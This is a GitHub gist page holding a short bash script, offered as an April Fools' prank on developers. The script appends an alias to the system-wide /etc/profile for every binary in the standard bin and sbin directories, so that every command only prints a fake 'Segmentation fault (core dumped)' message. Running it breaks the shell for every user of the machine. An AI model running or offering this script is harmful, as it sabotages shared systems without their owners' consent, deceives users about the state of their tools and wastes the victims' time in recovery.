Last active
March 31, 2019 22:44
-
-
Save dkhabarov/6c5617587f3e8b2efe767ebac63e96e9 to your computer and use it in GitHub Desktop.
1-ое апреля. Разыграть разработчиков? :) Может ваши варианты будут интересней? :)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
for d in /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin; | |
do | |
for tool in $(find "$d" -type f); | |
do | |
toolname=$(basename $tool) | |
cat << EOF >> /etc/profile | |
alias $toolname='/bin/echo "Segmentation fault (core dumped)";' | |
EOF | |
done | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment